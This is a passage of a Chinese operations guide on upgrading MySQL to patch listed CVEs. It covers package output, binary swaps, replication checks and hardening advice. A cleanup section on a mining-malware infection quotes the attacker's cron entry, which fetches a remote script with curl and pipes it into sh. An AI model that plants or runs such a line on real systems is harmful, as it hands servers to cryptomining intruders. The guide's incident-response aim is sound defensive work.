---> Package mysql-community-server.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server-debug.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-test.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-test.x86_64 0:8.0.33-1.el7 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
================================================================================================
Package Arch Version Repository Size
================================================================================================
Installing:
mysql-community-client-plugins
x86_64 8.0.33-1.el7 /mysql-community-client-plugins-8.0.33-1.el7.x86_64 20 M
mysql-community-debuginfo
x86_64 8.0.33-1.el7 /mysql-community-debuginfo-8.0.33-1.el7.x86_64 2.5 G
mysql-community-icu-data-files
x86_64 8.0.33-1.el7 /mysql-community-icu-data-files-8.0.33-1.el7.x86_64 3.5 M
mysql-community-server-debug
x86_64 8.0.33-1.el7 /mysql-community-server-debug-8.0.33-1.el7.x86_64 120 M
Updating:
mysql-community-client
x86_64 8.0.33-1.el7 /mysql-community-client-8.0.33-1.el7.x86_64 80 M
mysql-community-common
x86_64 8.0.33-1.el7 /mysql-community-common-8.0.33-1.el7.x86_64 10 M
mysql-community-devel
x86_64 8.0.33-1.el7 /mysql-community-devel-8.0.33-1.el7.x86_64 10 M
mysql-community-embedded-compat
x86_64 8.0.33-1.el7 /mysql-community-embedded-compat-8.0.33-1.el7.x86_64 17 M
mysql-community-libs
x86_64 8.0.33-1.el7 /mysql-community-libs-8.0.33-1.el7.x86_64 7.6 M
mysql-community-libs-compat
x86_64 8.0.33-1.el7 /mysql-community-libs-compat-8.0.33-1.el7.x86_64 3.7 M
mysql-community-server
x86_64 8.0.33-1.el7 /mysql-community-server-8.0.33-1.el7.x86_64 295 M
mysql-community-test
x86_64 8.0.33-1.el7 /mysql-community-test-8.0.33-1.el7.x86_64 755 M
Transaction Summary
================================================================================================
Install 4 Packages
Upgrade 8 Packages
Total size: 3.7 G
Is this ok [y/d/N]: y
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Warning: RPMDB altered outside of yum.
** Found 7 pre-existing rpmdb problem(s), 'yum check' output follows:
elfutils-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
elfutils-libelf-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
freetype-devel-2.8-14.el7.x86_64 has missing requires of pkgconfig(zlib)
1:libguestfs-1.36.10-6.el7.centos.x86_64 has missing requires of mdadm
2:libpng-devel-1.5.13-7.el7_2.x86_64 has missing requires of zlib-devel(x86-64)
libssh2-devel-1.8.0-3.el7.x86_64 has missing requires of pkgconfig(zlib)
1:openssl-devel-1.0.2k-12.el7.x86_64 has missing requires of zlib-devel(x86-64)
Updating : mysql-community-common-8.0.33-1.el7.x86_64 1/20
Installing : mysql-community-client-plugins-8.0.33-1.el7.x86_64 2/20
Updating : mysql-community-libs-8.0.33-1.el7.x86_64 3/20
Updating : mysql-community-client-8.0.33-1.el7.x86_64 4/20
Installing : mysql-community-icu-data-files-8.0.33-1.el7.x86_64 5/20
Updating : mysql-community-server-8.0.33-1.el7.x86_64 6/20
Installing : mysql-community-server-debug-8.0.33-1.el7.x86_64 7/20
Updating : mysql-community-test-8.0.33-1.el7.x86_64 8/20
Updating : mysql-community-libs-compat-8.0.33-1.el7.x86_64 9/20
Updating : mysql-community-devel-8.0.33-1.el7.x86_64 10/20
Updating : mysql-community-embedded-compat-8.0.33-1.el7.x86_64 11/20
Installing : mysql-community-debuginfo-8.0.33-1.el7.x86_64 12/20
Cleanup : mysql-community-devel-8.0.21-1.el7.x86_64 13/20
Cleanup : mysql-community-test-8.0.21-1.el7.x86_64 14/20
Cleanup : mysql-community-server-8.0.21-1.el7.x86_64 15/20
Cleanup : mysql-community-client-8.0.21-1.el7.x86_64 16/20
Cleanup : mysql-community-embedded-compat-8.0.21-1.el7.x86_64 17/20
Cleanup : mysql-community-libs-compat-8.0.21-1.el7.x86_64 18/20
Cleanup : mysql-community-libs-8.0.21-1.el7.x86_64 19/20
Cleanup : mysql-community-common-8.0.21-1.el7.x86_64 20/20
Verifying : mysql-community-libs-8.0.33-1.el7.x86_64 1/20
Verifying : mysql-community-common-8.0.33-1.el7.x86_64 2/20
Verifying : mysql-community-libs-compat-8.0.33-1.el7.x86_64 3/20
Verifying : mysql-community-embedded-compat-8.0.33-1.el7.x86_64 4/20
Verifying : mysql-community-client-plugins-8.0.33-1.el7.x86_64 5/20
Verifying : mysql-community-server-debug-8.0.33-1.el7.x86_64 6/20
Verifying : mysql-community-debuginfo-8.0.33-1.el7.x86_64 7/20
Verifying : mysql-community-test-8.0.33-1.el7.x86_64 8/20
Verifying : mysql-community-server-8.0.33-1.el7.x86_64 9/20
Verifying : mysql-community-icu-data-files-8.0.33-1.el7.x86_64 10/20
Verifying : mysql-community-client-8.0.33-1.el7.x86_64 11/20
Verifying : mysql-community-devel-8.0.33-1.el7.x86_64 12/20
Verifying : mysql-community-server-8.0.21-1.el7.x86_64 13/20
Verifying : mysql-community-libs-8.0.21-1.el7.x86_64 14/20
Verifying : mysql-community-client-8.0.21-1.el7.x86_64 15/20
Verifying : mysql-community-libs-compat-8.0.21-1.el7.x86_64 16/20
Verifying : mysql-community-embedded-compat-8.0.21-1.el7.x86_64 17/20
Verifying : mysql-community-common-8.0.21-1.el7.x86_64 18/20
Verifying : mysql-community-test-8.0.21-1.el7.x86_64 19/20
Verifying : mysql-community-devel-8.0.21-1.el7.x86_64 20/20
Installed:
mysql-community-client-plugins.x86_64 0:8.0.33-1.el7
mysql-community-debuginfo.x86_64 0:8.0.33-1.el7
mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7
mysql-community-server-debug.x86_64 0:8.0.33-1.el7
Updated:
mysql-community-client.x86_64 0:8.0.33-1.el7
mysql-community-common.x86_64 0:8.0.33-1.el7
mysql-community-devel.x86_64 0:8.0.33-1.el7
mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7
mysql-community-libs.x86_64 0:8.0.33-1.el7
mysql-community-libs-compat.x86_64 0:8.0.33-1.el7
mysql-community-server.x86_64 0:8.0.33-1.el7
mysql-community-test.x86_64 0:8.0.33-1.el7
Complete!
#驗(yàn)證
mysql -V
mysql -uroot -p --execute="select version()"
更多參看：Upgrading MySQL with Directly-Downloaded RPM Packages
五、挖礦病毒
肉雞 弱口令 webshell xss 軟件漏洞bug redis zk mysql 0day yarn等都會(huì)造成服務(wù)器被掃描并且提權(quán)。
#惡意定時(shí)任務(wù)，ip為192.64.119.254 w.3ei.xyz，歸屬：美國(guó) 亞利桑那州 鳳凰城
*/6 * * * * curl -fsSL http://w.21-3n.xyz:43768/init.sh | sh > /dev/null 2>&1
#網(wǎng)絡(luò)連接查看
lsof -i
netstat -plunt
#本地封堵
iptables -I INPUT -s 192.64.119.254 -j DROP
iptables -A INPUT -s w.21-3n.xyz -j DROP
iptables -A OUTPUT -d w.21-3n.xyz -j DROP
#查看登錄日志
last 或者 last -f /var/log/wtmp
#定時(shí)任務(wù)刪除不了的，執(zhí)行
chattr -ia /etc/cron.d/root
chattr -ia /etc/crontab
chattr -ia /var/spool/cron/root
chattr -ia /etc/hosts
#正常權(quán)限如下
-------------e-- /var/spool/cron/root
#history命令檢查：一定留意有沒(méi)有用 wget 或 curl命令來(lái)下載類(lèi)似垃圾郵件機(jī)器人或者挖礦程序之類(lèi)的非常規(guī)軟件。命令歷史存儲(chǔ)在~/.bash_history文件中，因此有些攻擊者會(huì)刪除該文件以掩蓋他們的所作所為。跟登錄歷史一樣，若運(yùn)行history 命令卻沒(méi)有輸出任何東西那就表示歷史文件被刪掉了。
#查看異常進(jìn)程
strace -p PID或lsof-p PID //查看該進(jìn)程調(diào)用的所有系統(tǒng)調(diào)用
#Linux后門(mén)入 侵檢測(cè)工具chkrootkit、RKHunter檢查
#僵死進(jìn)程處理
ps aux | grep 'defunct'
或
ps -ef | grep defunct | grep -v grep | wc -l
#清理僵尸進(jìn)程
ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9
或
kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'
六、后續(xù)漏洞再次升級(jí)到mysql 5.7.43
1）漏洞描述
Oracle MySQL Cluster 安全漏洞(CVE-2023-0361)，Oracle MySQL 安全漏洞(CVE-2023-22053)、Oracle MySQL 安全漏洞(CVE-2023-22054)、Oracle MySQL 安全漏洞(CVE-2023-22008)、Oracle MySQL 安全漏洞(CVE-2023-22046)、Oracle MySQL 安全漏洞(CVE-2023-22056)、Oracle MySQL Server 安全漏洞(CVE-2023-22057、Oracle MySQL Server 安全漏洞(CVE-2023-22058)、Oracle MySQL 安全漏洞(CVE-2023-22033)、Oracle MySQL 安全漏洞(CVE-2023-22005)
2）修復(fù)措施：
升級(jí)MySQL到5.7.43 版本
3）修復(fù)過(guò)程
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar
md5sum mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar //輸出MD5: 7efa4ff0e6ab429cf570428e50e9c6d9
#二進(jìn)制包下載，編譯安裝二進(jìn)制替換
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
md5sum mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz //輸出MD5: 4f49e175c5e9cd22fbf1655537a18125
#備份
/usr/local/mysql/bin/mysqldump -uroot -p --all-databases >/opt/mysql_db_bak/mysql_all_`date +%Y%m%d`.sql
#驗(yàn)證
du -sh /opt/mysql_db_bak/*
1.2G /opt/mysql_db_bak/mysql_20230621.sql
1.2G /opt/mysql_db_bak/mysql_20230709.sql
1.2G /opt/mysql_db_bak/mysql_20230716.sql
1.2G /opt/mysql_db_bak/mysql_20230723.sql
1.2G /opt/mysql_db_bak/mysql_20230730.sql
1.3G /opt/mysql_db_bak/mysql_all_20230805.sql
#解壓
tar -xzf mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
mv mysql-5.7.43-linux-glibc2.12-x86_64 mysql-5.7.43
cd mysql-5.7.43
ls ./bin/ #驗(yàn)證
ps aux|grep mysql
systemctl status mysqld #確認(rèn)如下mysql位置和pid是否與ps的一致，現(xiàn)場(chǎng)是一致的
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:35:38 CST; 1 months 14 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/mysqld.service
├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#查看mysql master是否開(kāi)啟緩慢關(guān)停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.01 sec)
mysql> SET GLOBAL innodb_fast_shutdown=0; #否則執(zhí)行
//緩慢關(guān)閉服務(wù)的作用：關(guān)閉時(shí)，InnoDB會(huì)在關(guān)閉前執(zhí)行完全purge和變化的緩沖區(qū)合并，以確保在版本之間出現(xiàn)文件格式差異時(shí)，data files已做好準(zhǔn)備。
#或直接執(zhí)行如下命令
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#現(xiàn)場(chǎng)直接
systemctl stop mysqld
systemctl status mysqld //驗(yàn)證確認(rèn)
ps aux|grep mysql
#替換二進(jìn)制文件
mv bin bin_5.7.42 //備份源二進(jìn)制
cp -pr /home/ygcg/mysql-5.7.43/bin ./ //新的二進(jìn)制目錄遷移到MySQL生產(chǎn)目錄下替換二進(jìn)制
ll -d bin* //檢查權(quán)限
drwxr-xr-x 2 root root 4096 Aug 6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
chown -R mysql.mysql ./bin //授權(quán)
ll -d bin* //再次驗(yàn)證
drwxr-xr-x 2 mysql mysql 4096 Aug 6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
#重啟mysql服務(wù)
systemctl start mysqld
systemctl status mysqld //
#備庫(kù)檢查主從一致性
mysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 18.3
Master_User: repl
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: master-bin.000054
Read_Master_Log_Pos: 11916
Relay_Log_File: slave-relay-bin.000011
Relay_Log_Pos: 12131
Relay_Master_Log_File: master-bin.000054
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
##檢查數(shù)據(jù)庫(kù)所有表是否與當(dāng)前版本兼容，并更新系統(tǒng)庫(kù)
./bin/mysql_upgrade -u root -p //更新數(shù)據(jù)庫(kù)表，它會(huì)檢查所有數(shù)據(jù)庫(kù)中的所有表是否與當(dāng)前版本的MySQL不兼容。mysqlupgrade還回升級(jí)了mysql系統(tǒng)數(shù)據(jù)庫(kù)，以便可以利用新的權(quán)限或功能。注意：它不會(huì)升級(jí)時(shí)區(qū)表或幫助表的內(nèi)容。
Enter password:
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv OK
mysql.db OK
……
mysql.user OK
The sys schema is already up to date (version 1.5.2).
Checking databases.
cr_debug.breakpoints OK
……
xxl-job.xxl_job_qrtz_triggers OK
Upgrade process completed successfully.
Checking if update is needed.
//版本驗(yàn)證
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using EditLine wrapper
//再次備庫(kù)檢查主從一致性
mysql> show slave status\G #一般正常
####################### 至此，mysql主從替換就地升級(jí)完成，總體簡(jiǎn)單易上手，提前做好備份即可##################
#備庫(kù)升級(jí)，步驟基本同上，但是需要先在主庫(kù)加表級(jí)鎖
//主庫(kù)升級(jí)后鎖定
mysql> flush tables with read lock;
Query OK, 0 rows affected (2 min 20.53 sec)
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
#驗(yàn)證服務(wù)關(guān)停與ps顯示一致，即下面的20487和2135進(jìn)程一致
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:31:51 CST; 1 months 14 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/mysqld.service
├─20847 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─21353 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin...
Jun 22 13:31:50 mysql-slaver systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:31:51 mysql-slaver mysqld[20834]: Starting MySQL. SUCCESS!
Jun 22 13:31:51 mysql-slaver systemd[1]: Started LSB: start and stop MySQL.
systemctl stop mysqld //關(guān)停備庫(kù)
#解壓替換
mv bin bin_5.7.42 //備份源二進(jìn)制
cp -pr /home/ygcg/mysql-5.7.43/bin ./ //新的二進(jìn)制目錄遷移到MySQL生產(chǎn)目錄下替換二進(jìn)制
chown -R mysql.mysql ./bin/
ll -d bin* //檢查權(quán)限
drwxr-xr-x 2 mysql mysql 4096 Aug 6 00:24 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 13:16 bin_5.7.42
systemctl start mysqld //重新啟動(dòng)
#更新檢查
./bin/mysql_upgrade -u root -p //最后輸出如下
Upgrade process completed successfully.
Checking if update is needed.
#驗(yàn)證進(jìn)程一致性
ps aux|grep mysqld
systemctl status mysqld
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using EditLine wrapper
#登錄備庫(kù)再次驗(yàn)證主從一致性，一般正常
mysql> show slave status\G
#主庫(kù)解鎖，并觀(guān)察主從一致性，最終確認(rèn)即可
mysql> unlock tables;
Query OK, 0 rows affected (0.02 sec)
//至此，MySQL升級(jí)完成，祝你也好運(yùn)！
change master to master_host = '172.16.18.8', master_user = 'repl', master_port=3306, master_password='123456', master_log_file = 'mysql-bin.000030', master_log_pos=243429723;
create table `xxl_job_qrtz_scheduler_state` (\
`SCHED_NAME` varchar(120) NOT NULL,
`INSTANCE_NAME` varchar(200) NOT NULL,
`LAST_CHECKIN_TIME` bigint(13) NOT NULL,
`CHECKIN_INTERVAL` bigint(13) NOT NULL,
PRIMARY KEY (`SCHED_NAME`,`INSTANCE_NAME`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
4）過(guò)程報(bào)錯(cuò)處理
1、ERROR 1051 (42S02): Unknown table ……
2、ERROR 1146 (42S02): Table ‘xxl-job.xxl_job_qrtz_scheduler_state’ doesn’t exist
3、ERROR 1813 (HY000): Tablespace ‘xxl-job.xxl_job_qrtz_scheduler_state’ exists.
4、ERROR 1060 (42S21): Duplicate column name ‘CHECKIN_INTERVAL’
對(duì)上圖中的執(zhí)行：rm -rf /tmp/mysql.sock.lock，然后執(zhí)行：/etc/rc.d/init.d/mysqld start，這時(shí)就可成功，之后stop了，執(zhí)行systemctl start mysqld啟動(dòng)
注：采用創(chuàng)建臨時(shí)庫(kù)，創(chuàng)建同名表，復(fù)制該表目錄下的frm文件到確實(shí)的xxlku下未生效，報(bào)其他錯(cuò)誤，經(jīng)過(guò)一番調(diào)試，最終還是報(bào)表空間已存在，最后索性刪了重建，因該表只有一條數(shù)據(jù)
執(zhí)行上述操作完成后，再次執(zhí)行：./bin/mysql_upgrade -uroot -p --force，檢查正常
5）Mysql 5.7.43版本新的漏洞
該版本涉及2個(gè)高危漏洞，2個(gè)中危漏洞，升級(jí)到mysql server8.0.35或5.7.44即可，過(guò)程同上，選用Linux通用版本，新進(jìn)行備庫(kù)升級(jí)，確認(rèn)正常后，切換后（如不滿(mǎn)足，熱升級(jí)），再執(zhí)行主庫(kù)，或參看官方升級(jí)過(guò)程。如下所示：
| 漏洞編碼 | 漏洞描述 | 影響范圍 |
|---|---|---|
| CVE-2023-38545 CVE-2023-38546 |
涉及編譯時(shí)引入的curl關(guān)聯(lián)漏洞，該漏洞源于允許高權(quán)限攻擊者通過(guò)多種協(xié)議進(jìn)行網(wǎng)絡(luò)訪(fǎng)問(wèn)來(lái)危害 MySQL 服務(wù)器，更多請(qǐng)參看：CVE-2023-38545 | MySQL Server 5.7.43及之前版本，8.0.33及之前版本和8.1.0存在安全漏洞,在 8.0.35/5.7.44中被修復(fù) |
| CVE-2023-22084 | 該漏洞涉及Inn哦DB引擎，源于允許高權(quán)限攻擊者通過(guò)多種協(xié)議進(jìn)行網(wǎng)絡(luò)訪(fǎng)問(wèn)來(lái)危害 MySQL 服務(wù)器，成功利用上述漏洞的攻擊者可以在目標(biāo)系統(tǒng)上執(zhí)行任意代碼、獲取用戶(hù)數(shù)據(jù)，提升權(quán)限等，更多參看：2023安全報(bào)告 | MySQL Server 5.7.43及之前版本，8.0.33及之前版本和8.1.0存在安全漏洞，也是在mysql server8.0.35和5.7.44中被修復(fù) |
| CVE-2023-22028 | 涉及Server: Optimizer，同上 | 5.7.43及之前版本，8.0.31及之前版本存在安全漏洞存在安全漏洞，在mysql server8.0.35和5.7.44中被修復(fù) |
現(xiàn)場(chǎng)驗(yàn)證：升級(jí)mysql 5.7.44過(guò)程與上完全相同，未出現(xiàn)異常錯(cuò)誤
七、Mysql通用防范措施
1）數(shù)據(jù)傳輸安全
MySQL服務(wù)器與客戶(hù)端之間的數(shù)據(jù)傳輸安全是一個(gè)重要的層面，即使在內(nèi)網(wǎng)，尤其是在使用不安全的網(wǎng)絡(luò)連接時(shí)更為突出。增強(qiáng)數(shù)據(jù)傳輸?shù)臋C(jī)密性和完整性是我們必須考慮的，可以采用以下幾種方式進(jìn)行加密和保護(hù)：
- SSL/TLS加密
? 通過(guò)在MySQL服務(wù)器和客戶(hù)端之間建立SSL/TLS加密連接，可以有效地保護(hù)數(shù)據(jù)傳輸過(guò)程中的機(jī)密性和完整性?？梢允褂米院灻C書(shū)或者受信任的第三方證書(shū)機(jī)構(gòu)頒發(fā)的證書(shū)來(lái)配置SSL/TLS加密。此外，還應(yīng)定期更新證書(shū)、密鑰，并確保SSL/TLS協(xié)議的強(qiáng)度和安全性。
- 限制不安全的網(wǎng)絡(luò)訪(fǎng)問(wèn)
? 通過(guò)限制MySQL服務(wù)器的網(wǎng)絡(luò)訪(fǎng)問(wèn)，可以有效地減少受到攻擊的風(fēng)險(xiǎn)?？梢允褂梅阑饓σ?guī)則、網(wǎng)絡(luò)ACL等方法，限制只允許特定IP地址或者IP地址段進(jìn)行訪(fǎng)問(wèn)MySQL服務(wù)器。同時(shí)，還應(yīng)禁用不安全的網(wǎng)絡(luò)協(xié)議和服務(wù)，如Telnet、FTP等。
2）訪(fǎng)問(wèn)控制和身份驗(yàn)證
MySQL的訪(fǎng)問(wèn)控制和身份驗(yàn)證能有效保護(hù)數(shù)據(jù)庫(kù)只有經(jīng)過(guò)授權(quán)的用戶(hù)才能夠?qū)?shù)據(jù)庫(kù)進(jìn)行操作，防止未經(jīng)授權(quán)的用戶(hù)進(jìn)行惡意操作和攻擊。
- 安全的密碼策略
? 合理的密碼策略是保護(hù)MySQL數(shù)據(jù)庫(kù)的關(guān)鍵。應(yīng)該要求用戶(hù)使用復(fù)雜的密碼，并設(shè)置密碼過(guò)期策略、密碼強(qiáng)度驗(yàn)證等。此外，還應(yīng)禁止使用默認(rèn)密碼，并提醒用戶(hù)定期更換密碼。
- 強(qiáng)制身份驗(yàn)證
? MySQL支持多種身份驗(yàn)證方式，如本地驗(yàn)證、LDAP驗(yàn)證等。應(yīng)選擇安全性較高的身份驗(yàn)證方式，并在MySQL配置中強(qiáng)制啟用該方式，以確保只有經(jīng)過(guò)身份驗(yàn)證的用戶(hù)才能夠訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)。
3）合適的權(quán)限管理
MySQL的合適的權(quán)限管可以有效控制對(duì)數(shù)據(jù)庫(kù)的操作范圍，防止未經(jīng)授權(quán)的用戶(hù)進(jìn)行惡意操作和數(shù)據(jù)泄露。
- 最小權(quán)限原則
? 根據(jù)最小權(quán)限原則，為每個(gè)用戶(hù)分配最低限度的權(quán)限，只賦予其必要的操作權(quán)限。這樣可以減少用戶(hù)濫用權(quán)限的風(fēng)險(xiǎn)，提高數(shù)據(jù)庫(kù)的安全性。
- 定期審計(jì)用戶(hù)權(quán)限
? 定期審計(jì)用戶(hù)的權(quán)限是保護(hù)數(shù)據(jù)庫(kù)安全的重要環(huán)節(jié)。通過(guò)定期檢查和評(píng)估用戶(hù)的權(quán)限配置，及時(shí)發(fā)現(xiàn)和糾正不合理的權(quán)限設(shè)置，以確保用戶(hù)權(quán)限的合理性和安全性。
4）防止SQL注入攻擊
SQL注入攻擊是MySQL數(shù)據(jù)庫(kù)常見(jiàn)的安全威脅之一。攻擊者通過(guò)構(gòu)造惡意的SQL語(yǔ)句，利用應(yīng)用程序的漏洞來(lái)注入惡意代碼并執(zhí)行非法操作。除定期內(nèi)外掃描，sql滲透測(cè)試外，為防止SQL注入攻擊，還可以采取以下幾種措施。
- 輸入驗(yàn)證和過(guò)濾
? 對(duì)于用戶(hù)輸入的數(shù)據(jù)，應(yīng)該進(jìn)行有效的驗(yàn)證和過(guò)濾，確保數(shù)據(jù)的合法性和完整性?？梢允褂谜齽t表達(dá)式、過(guò)濾函數(shù)等方法來(lái)檢查和過(guò)濾用戶(hù)輸入的數(shù)據(jù)。文章來(lái)源：http://www.zghlxwxcb.cn/news/detail-602499.html
- 參數(shù)化查詢(xún)
? 采用參數(shù)化查詢(xún)可以避免將用戶(hù)輸入的數(shù)據(jù)直接嵌入到SQL語(yǔ)句中，從而減少SQL注入攻擊的風(fēng)險(xiǎn)。通過(guò)使用預(yù)編譯語(yǔ)句和占位符，將用戶(hù)輸入的參數(shù)與SQL語(yǔ)句分離，確保數(shù)據(jù)的安全性。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-602499.html
到了這里，關(guān)于Mysql漏洞處理之升級(jí)版本到5.7.42過(guò)程指導(dǎo)手冊(cè)的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
